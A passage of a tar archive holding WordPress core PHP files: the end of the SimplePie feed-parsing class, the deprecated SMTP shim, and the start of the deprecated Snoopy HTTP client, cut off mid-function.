$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link)); } } } if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); } if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); } if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0])); } $keys = array_keys($this->data['links']); foreach ($keys as $key) { if ($this->registry->call('Misc', 'is_isegment_nz_nc', array($key))) { if (isset($this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key])) { $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]); $this->data['links'][$key] =& $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]; } else { $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key]; } } elseif (substr($key, 0, 41) === SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY) { $this->data['links'][substr($key, 41)] =& $this->data['links'][$key]; } $this->data['links'][$key] = array_unique($this->data['links'][$key]); } } if (isset($this->data['headers']['link']) && preg_match('/<([^>]+)>; rel='.preg_quote($rel).'/', $this->data['headers']['link'], $match)) { return array($match[1]); } else if (isset($this->data['links'][$rel])) { return $this->data['links'][$rel]; } return null; } public function get_all_discovered_feeds() { return $this->all_discovered_feeds; } /** * Get the content for the item * * Uses `<atom:subtitle>`, `<atom:tagline>`, `<description>`, * `<dc:description>`, `<itunes:summary>` or `<itunes:subtitle>` * * @since 1.0 (previously called `get_feed_description()` since 0.8) * @return string|null */ public function get_description() { if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'subtitle')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'tagline')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'description')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'summary')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'subtitle')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0])); } return null; } /** * Get the copyright info for the feed * * Uses `<atom:rights>`, `<atom:copyright>` or `<dc:rights>` * * @since 1.0 (previously called `get_feed_copyright()` since 0.8) * @return string|null */ public function get_copyright() { if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'rights')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'copyright')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'copyright')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'rights')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'rights')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } return null; } /** * Get the language for the feed * * Uses `<language>`, `<dc:language>`, or @xml_lang * * @since 1.0 (previously called `get_feed_language()` since 0.8) * @return string|null */ public function get_language() { if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'language')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'language')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'language')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['xml_lang'])) { return $this->sanitize($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['xml_lang'])) { return $this->sanitize($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['xml_lang'])) { return $this->sanitize($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif (isset($this->data['headers']['content-language'])) { return $this->sanitize($this->data['headers']['content-language'], SIMPLEPIE_CONSTRUCT_TEXT); } return null; } /** * Get the latitude coordinates for the item * * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications * * Uses `<geo:lat>` or `<georss:point>` * * @since 1.0 * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo * @link http://www.georss.org/ GeoRSS * @return string|null */ public function get_latitude() { if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lat')) { return (float) $return[0]['data']; } elseif (($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) { return (float) $match[1]; } return null; } /** * Get the longitude coordinates for the feed * * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications * * Uses `<geo:long>`, `<geo:lon>` or `<georss:point>` * * @since 1.0 * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo * @link http://www.georss.org/ GeoRSS * @return string|null */ public function get_longitude() { if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'long')) { return (float) $return[0]['data']; } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lon')) { return (float) $return[0]['data']; } elseif (($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) { return (float) $match[2]; } return null; } /** * Get the feed logo's title * * RSS 0.9.0, 1.0 and 2.0 feeds are allowed to have a "feed logo" title. * * Uses `<image><title>` or `<image><dc:title>` * * @return string|null */ public function get_image_title() { if ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } return null; } /** * Get the feed logo's URL * * RSS 0.9.0, 2.0, Atom 1.0, and feeds with iTunes RSS tags are allowed to * have a "feed logo" URL. This points directly to the image itself. * * Uses `<itunes:image>`, `<atom:logo>`, `<atom:icon>`, * `<image><title>` or `<image><dc:title>` * * @return string|null */ public function get_image_url() { if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'image')) { return $this->sanitize($return[0]['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'logo')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); } elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'icon')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); } elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'url')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); } elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'url')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); } elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'url')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); } return null; } /** * Get the feed logo's link * * RSS 0.9.0, 1.0 and 2.0 feeds are allowed to have a "feed logo" link. This * points to a human-readable page that the image should link to. * * Uses `<itunes:image>`, `<atom:logo>`, `<atom:icon>`, * `<image><title>` or `<image><dc:title>` * * @return string|null */ public function get_image_link() { if ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); } elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); } elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'link')) { return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0])); } return null; } /** * Get the feed logo's link * * RSS 2.0 feeds are allowed to have a "feed logo" width. * * Uses `<image><width>` or defaults to 88.0 if no width is specified and * the feed is an RSS 2.0 feed. * * @return int|float|null */ public function get_image_width() { if ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'width')) { return round($return[0]['data']); } elseif ($this->get_type() & SIMPLEPIE_TYPE_RSS_SYNDICATION && $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'url')) { return 88.0; } return null; } /** * Get the feed logo's height * * RSS 2.0 feeds are allowed to have a "feed logo" height. * * Uses `<image><height>` or defaults to 31.0 if no height is specified and * the feed is an RSS 2.0 feed. * * @return int|float|null */ public function get_image_height() { if ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'height')) { return round($return[0]['data']); } elseif ($this->get_type() & SIMPLEPIE_TYPE_RSS_SYNDICATION && $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'url')) { return 31.0; } return null; } /** * Get the number of items in the feed * * This is well-suited for {@link http://php.net/for for()} loops with * {@see get_item()} * * @param int $max Maximum value to return. 0 for no limit * @return int Number of items in the feed */ public function get_item_quantity($max = 0) { $max = (int) $max; $qty = count($this->get_items()); if ($max === 0) { return $qty; } return ($qty > $max) ? $max : $qty; } /** * Get a single item from the feed * * This is better suited for {@link http://php.net/for for()} loops, whereas * {@see get_items()} is better suited for * {@link http://php.net/foreach foreach()} loops. * * @see get_item_quantity() * @since Beta 2 * @param int $key The item that you want to return. Remember that arrays begin with 0, not 1 * @return SimplePie_Item|null */ public function get_item($key = 0) { $items = $this->get_items(); if (isset($items[$key])) { return $items[$key]; } return null; } /** * Get all items from the feed * * This is better suited for {@link http://php.net/for for()} loops, whereas * {@see get_items()} is better suited for * {@link http://php.net/foreach foreach()} loops. * * @see get_item_quantity * @since Beta 2 * @param int $start Index to start at * @param int $end Number of items to return. 0 for all items after `$start` * @return SimplePie_Item[]|null List of {@see SimplePie_Item} objects */ public function get_items($start = 0, $end = 0) { if (!isset($this->data['items'])) { if (!empty($this->multifeed_objects)) { $this->data['items'] = SimplePie::merge_items($this->multifeed_objects, $start, $end, $this->item_limit); if (empty($this->data['items'])) { return array(); } return $this->data['items']; } $this->data['items'] = array(); if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'entry')) { $keys = array_keys($items); foreach ($keys as $key) { $this->data['items'][] = $this->registry->create('Item', array($this, $items[$key])); } } if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'entry')) { $keys = array_keys($items); foreach ($keys as $key) { $this->data['items'][] = $this->registry->create('Item', array($this, $items[$key])); } } if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'item')) { $keys = array_keys($items); foreach ($keys as $key) { $this->data['items'][] = $this->registry->create('Item', array($this, $items[$key])); } } if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'item')) { $keys = array_keys($items); foreach ($keys as $key) { $this->data['items'][] = $this->registry->create('Item', array($this, $items[$key])); } } if ($items = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'item')) { $keys = array_keys($items); foreach ($keys as $key) { $this->data['items'][] = $this->registry->create('Item', array($this, $items[$key])); } } } if (empty($this->data['items'])) { return array(); } if ($this->order_by_date) { if (!isset($this->data['ordered_items'])) { $this->data['ordered_items'] = $this->data['items']; usort($this->data['ordered_items'], array(get_class($this), 'sort_items')); } $items = $this->data['ordered_items']; } else { $items = $this->data['items']; } // Slice the data as desired if ($end === 0) { return array_slice($items, $start); } return array_slice($items, $start, $end); } /** * Set the favicon handler * * @deprecated Use your own favicon handling instead */ public function set_favicon_handler($page = false, $qs = 'i') { $level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING; trigger_error('Favicon handling has been removed, please use your own handling', $level); return false; } /** * Get the favicon for the current feed * * @deprecated Use your own favicon handling instead */ public function get_favicon() { $level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING; trigger_error('Favicon handling has been removed, please use your own handling', $level); if (($url = $this->get_link()) !== null) { return 'https://www.google.com/s2/favicons?domain=' . urlencode($url); } return false; } /** * Magic method handler * * @param string $method Method name * @param array $args Arguments to the method * @return mixed */ public function __call($method, $args) { if (strpos($method, 'subscribe_') === 0) { $level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING; trigger_error('subscribe_*() has been deprecated, implement the callback yourself', $level); return ''; } if ($method === 'enable_xml_dump') { $level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING; trigger_error('enable_xml_dump() has been deprecated, use get_raw_data() instead', $level); return false; } $class = get_class($this); $trace = debug_backtrace(); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection $file = $trace[0]['file']; $line = $trace[0]['line']; trigger_error("Call to undefined method $class::$method() in $file on line $line", E_USER_ERROR); } /** * Sorting callback for items * * @access private * @param SimplePie $a * @param SimplePie $b * @return boolean */ public static function sort_items($a, $b) { $a_date = $a->get_date('U'); $b_date = $b->get_date('U'); if ($a_date && $b_date) { return $a_date > $b_date ? -1 : 1; } // Sort items without dates to the top. if ($a_date) { return 1; } if ($b_date) { return -1; } return 0; } /** * Merge items from several feeds into one * * If you're merging multiple feeds together, they need to all have dates * for the items or else SimplePie will refuse to sort them. * * @link http://simplepie.org/wiki/tutorial/sort_multiple_feeds_by_time_and_date#if_feeds_require_separate_per-feed_settings * @param array $urls List of SimplePie feed objects to merge * @param int $start Starting item * @param int $end Number of items to return * @param int $limit Maximum number of items per feed * @return array */ public static function merge_items($urls, $start = 0, $end = 0, $limit = 0) { if (is_array($urls) && sizeof($urls) > 0) { $items = array(); foreach ($urls as $arg) { if ($arg instanceof SimplePie) { $items = array_merge($items, $arg->get_items(0, $limit)); } else { trigger_error('Arguments must be SimplePie objects', E_USER_WARNING); } } usort($items, array(get_class($urls[0]), 'sort_items')); if ($end === 0) { return array_slice($items, $start); } return array_slice($items, $start, $end); } trigger_error('Cannot merge zero SimplePie objects', E_USER_WARNING); return array(); } /** * Store PubSubHubbub links as headers * * There is no way to find PuSH links in the body of a microformats feed, * so they are added to the headers when found, to be used later by get_links. * @param SimplePie_File $file * @param string $hub * @param string $self */ private function store_links(&$file, $hub, $self) { if (isset($file->headers['link']['hub']) || (isset($file->headers['link']) && preg_match('/rel=hub/', $file->headers['link']))) { return; } if ($hub) { if (isset($file->headers['link'])) { if ($file->headers['link'] !== '') { $file->headers['link'] = ', '; } } else { $file->headers['link'] = ''; } $file->headers['link'] .= '<'.$hub.'>; rel=hub'; if ($self) { $file->headers['link'] .= ', <'.$self.'>; rel=self'; } } } } endif; �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-smtp.php��������������������������������������������������������������������������������������0000644�����������������00000000711�15120262030�0007331 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The SMTP class has been moved to the wp-includes/PHPMailer subdirectory and now uses the PHPMailer\PHPMailer namespace. */ _deprecated_file( basename( __FILE__ ), '5.5.0', WPINC . '/PHPMailer/SMTP.php', __( 'The SMTP class has been moved to the wp-includes/PHPMailer subdirectory and now uses the PHPMailer\PHPMailer namespace.' ) ); require_once __DIR__ . '/PHPMailer/SMTP.php'; class_alias( PHPMailer\PHPMailer\SMTP::class, 'SMTP' ); �������������������������������������������������������class-snoopy.php������������������������������������������������������������������������������������0000644�����������������00000111523�15120262030�0007701 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Deprecated. Use WP_HTTP (http.php) instead. */ _deprecated_file( basename( __FILE__ ), '3.0.0', WPINC . '/http.php' ); if ( ! class_exists( 'Snoopy', false ) ) : /************************************************* Snoopy - the PHP net client Author: Monte Ohrt <monte@ispi.net> Copyright (c): 1999-2008 New Digital Group, all rights reserved Version: 1.2.4 * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA You may contact the author of Snoopy by e-mail at: monte@ohrt.com The latest version of Snoopy can be obtained from: http://snoopy.sourceforge.net/ *************************************************/ class Snoopy { /**** Public variables ****/ /* user definable vars */ var $host = "www.php.net"; // host name we are connecting to var $port = 80; // port we are connecting to var $proxy_host = ""; // proxy host to use var $proxy_port = ""; // proxy port to use var $proxy_user = ""; // proxy user to use var $proxy_pass = ""; // proxy password to use var $agent = "Snoopy v1.2.4"; // agent we masquerade as var $referer = ""; // referer info to pass var $cookies = array(); // array of cookies to pass // $cookies["username"]="joe"; var $rawheaders = array(); // array of raw headers to send // $rawheaders["Content-type"]="text/html"; var $maxredirs = 5; // http redirection depth maximum. 0 = disallow var $lastredirectaddr = ""; // contains address of last redirected address var $offsiteok = true; // allows redirection off-site var $maxframes = 0; // frame content depth maximum. 0 = disallow var $expandlinks = true; // expand links to fully qualified URLs. // this only applies to fetchlinks() // submitlinks(), and submittext() var $passcookies = true; // pass set cookies back through redirects // NOTE: this currently does not respect // dates, domains or paths. var $user = ""; // user for http authentication var $pass = ""; // password for http authentication // http accept types var $accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*"; var $results = ""; // where the content is put var $error = ""; // error messages sent here var $response_code = ""; // response code returned from server var $headers = array(); // headers returned from server sent here var $maxlength = 500000; // max return data length (body) var $read_timeout = 0; // timeout on read operations, in seconds // supported only since PHP 4 Beta 4 // set to 0 to disallow timeouts var $timed_out = false; // if a read operation timed out var $status = 0; // http request status var $temp_dir = "/tmp"; // temporary directory that the webserver // has permission to write to. // under Windows, this should be C:\temp var $curl_path = "/usr/local/bin/curl"; // Snoopy will use cURL for fetching // SSL content if a full system path to // the cURL binary is supplied here. // set to false if you do not have // cURL installed. See http://curl.haxx.se // for details on installing cURL. // Snoopy does *not* use the cURL // library functions built into php, // as these functions are not stable // as of this Snoopy release. /**** Private variables ****/ var $_maxlinelen = 4096; // max line length (headers) var $_httpmethod = "GET"; // default http request method var $_httpversion = "HTTP/1.0"; // default http request version var $_submit_method = "POST"; // default submit method var $_submit_type = "application/x-www-form-urlencoded"; // default submit type var $_mime_boundary = ""; // MIME boundary for multipart/form-data submit type var $_redirectaddr = false; // will be set if page fetched is a redirect var $_redirectdepth = 0; // increments on an http redirect var $_frameurls = array(); // frame src urls var $_framedepth = 0; // increments on frame depth var $_isproxy = false; // set if using a proxy server var $_fp_timeout = 30; // timeout for socket connection /*======================================================================*\ Function: fetch Purpose: fetch the contents of a web page (and possibly other protocols in the future like ftp, nntp, gopher, etc.) Input: $URI the location of the page to fetch Output: $this->results the output text from the fetch \*======================================================================*/ function fetch($URI) { //preg_match("|^([^:]+)://([^:/]+)(:[\d]+)*(.*)|",$URI,$URI_PARTS); $URI_PARTS = parse_url($URI); if (!empty($URI_PARTS["user"])) $this->user = $URI_PARTS["user"]; if (!empty($URI_PARTS["pass"])) $this->pass = $URI_PARTS["pass"]; if (empty($URI_PARTS["query"])) $URI_PARTS["query"] = ''; if (empty($URI_PARTS["path"])) $URI_PARTS["path"] = ''; switch(strtolower($URI_PARTS["scheme"])) { case "http": $this->host = $URI_PARTS["host"]; if(!empty($URI_PARTS["port"])) $this->port = $URI_PARTS["port"]; if($this->_connect($fp)) { if($this->_isproxy) { // using proxy, send entire URI $this->_httprequest($URI,$fp,$URI,$this->_httpmethod); } else { $path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : ""); // no proxy, send only the path $this->_httprequest($path, $fp, $URI, $this->_httpmethod); } $this->_disconnect($fp); if($this->_redirectaddr) { /* url was redirected, check if we've hit the max depth */ if($this->maxredirs > $this->_redirectdepth) { // only follow redirect if it's on this site, or offsiteok is true if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok) { /* follow the redirect */ $this->_redirectdepth++; $this->lastredirectaddr=$this->_redirectaddr; $this->fetch($this->_redirectaddr); } } } if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0) { $frameurls = $this->_frameurls; $this->_frameurls = array(); foreach ( $frameurls as $frameurl ) { if($this->_framedepth < $this->maxframes) { $this->fetch($frameurl); $this->_framedepth++; } else break; } } } else { return false; } return true; break; case "https": if(!$this->curl_path) return false; if(function_exists("is_executable")) if (!is_executable($this->curl_path)) return false; $this->host = $URI_PARTS["host"]; if(!empty($URI_PARTS["port"])) $this->port = $URI_PARTS["port"]; if($this->_isproxy) { // using proxy, send entire URI $this->_httpsrequest($URI,$URI,$this->_httpmethod); } else { $path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : ""); // no proxy, send only the path $this->_httpsrequest($path, $URI, $this->_httpmethod); } if($this->_redirectaddr) { /* url was redirected, check if we've hit the max depth */ if($this->maxredirs > $this->_redirectdepth) { // only follow redirect if it's on this site, or offsiteok is true if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok) { /* follow the redirect */ $this->_redirectdepth++; $this->lastredirectaddr=$this->_redirectaddr; $this->fetch($this->_redirectaddr); } } } if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0) { $frameurls = $this->_frameurls; $this->_frameurls = array(); foreach ( $frameurls as $frameurl ) { if($this->_framedepth < $this->maxframes) { $this->fetch($frameurl); $this->_framedepth++; } else break; } } return true; break; default: // not a valid protocol $this->error = 'Invalid protocol "'.$URI_PARTS["scheme"].'"\n'; return false; break; } return true; } /*======================================================================*\ Function: submit Purpose: submit an http form Input: $URI the location to post the data $formvars the formvars to use. format: $formvars["var"] = "val"; $formfiles an array of files to submit format: $formfiles["var"] = "/dir/filename.ext"; Output: $this->results the text output from the post \*======================================================================*/ function submit($URI, $formvars="", $formfiles="") { unset($postdata); $postdata = $this->_prepare_post_body($formvars, $formfiles); $URI_PARTS = parse_url($URI); if (!empty($URI_PARTS["user"])) $this->user = $URI_PARTS["user"]; if (!empty($URI_PARTS["pass"])) $this->pass = $URI_PARTS["pass"]; if (empty($URI_PARTS["query"])) $URI_PARTS["query"] = ''; if (empty($URI_PARTS["path"])) $URI_PARTS["path"] = ''; switch(strtolower($URI_PARTS["scheme"])) { case "http": $this->host = $URI_PARTS["host"]; if(!empty($URI_PARTS["port"])) $this->port = $URI_PARTS["port"]; if($this->_connect($fp)) { if($this->_isproxy) { // using proxy, send entire URI $this->_httprequest($URI,$fp,$URI,$this->_submit_method,$this->_submit_type,$postdata); } else { $path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : ""); // no proxy, send only the path $this->_httprequest($path, $fp, $URI, $this->_submit_method, $this->_submit_type, $postdata); } $this->_disconnect($fp); if($this->_redirectaddr) { /* url was redirected, check if we've hit the max depth */ if($this->maxredirs > $this->_redirectdepth) { if(!preg_match("|^".$URI_PARTS["scheme"]."://|", $this->_redirectaddr)) $this->_redirectaddr = $this->_expandlinks($this->_redirectaddr,$URI_PARTS["scheme"]."://".$URI_PARTS["host"]); // only follow redirect if it's on this site, or offsiteok is true if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok) { /* follow the redirect */ $this->_redirectdepth++; $this->lastredirectaddr=$this->_redirectaddr; if( strpos( $this->_redirectaddr, "?" ) > 0 ) $this->fetch($this->_redirectaddr); // the redirect has changed the request method from post to get else $this->submit($this->_redirectaddr,$formvars, $formfiles); } } } if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0) { $frameurls = $this->_frameurls; $this->_frameurls = array(); foreach ( $frameurls as $frameurl ) { if($this->_framedepth < $this->maxframes) { $this->fetch($frameurl); $this->_framedepth++; } else break; } } } else { return false; } return true; break; case "https": if(!$this->curl_path) return false; if(function_exists("is_executable")) if (!is_executable($this->curl_path)) return false; $this->host = $URI_PARTS["host"]; if(!empty($URI_PARTS["port"])) $this->port = $URI_PARTS["port"]; if($this->_isproxy) { // using proxy, send entire URI $this->_httpsrequest($URI, $URI, $this->_submit_method, $this->_submit_type, $postdata); } else { $path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : ""); // no proxy, send only the path $this->_httpsrequest($path, $URI, $this->_submit_method, $this->_submit_type, $postdata); } if($this->_redirectaddr) { /* url was redirected, check if we've hit the max depth */ if($this->maxredirs > $this->_redirectdepth) { if(!preg_match("|^".$URI_PARTS["scheme"]."://|", $this->_redirectaddr)) $this->_redirectaddr = $this->_expandlinks($this->_redirectaddr,$URI_PARTS["scheme"]."://".$URI_PARTS["host"]); // only follow redirect if it's on this site, or offsiteok is true if(preg_match("|^http://".preg_quote($this->host)."|i",$this->_redirectaddr) || $this->offsiteok) { /* follow the redirect */ $this->_redirectdepth++; $this->lastredirectaddr=$this->_redirectaddr; if( strpos( $this->_redirectaddr, "?" ) > 0 ) $this->fetch($this->_redirectaddr); // the redirect has changed the request method from post to get else $this->submit($this->_redirectaddr,$formvars, $formfiles); } } } if($this->_framedepth < $this->maxframes && count($this->_frameurls) > 0) { $frameurls = $this->_frameurls; $this->_frameurls = array(); foreach ( $frameurls as $frameurl ) { if($this->_framedepth < $this->maxframes) { $this->fetch($frameurl); 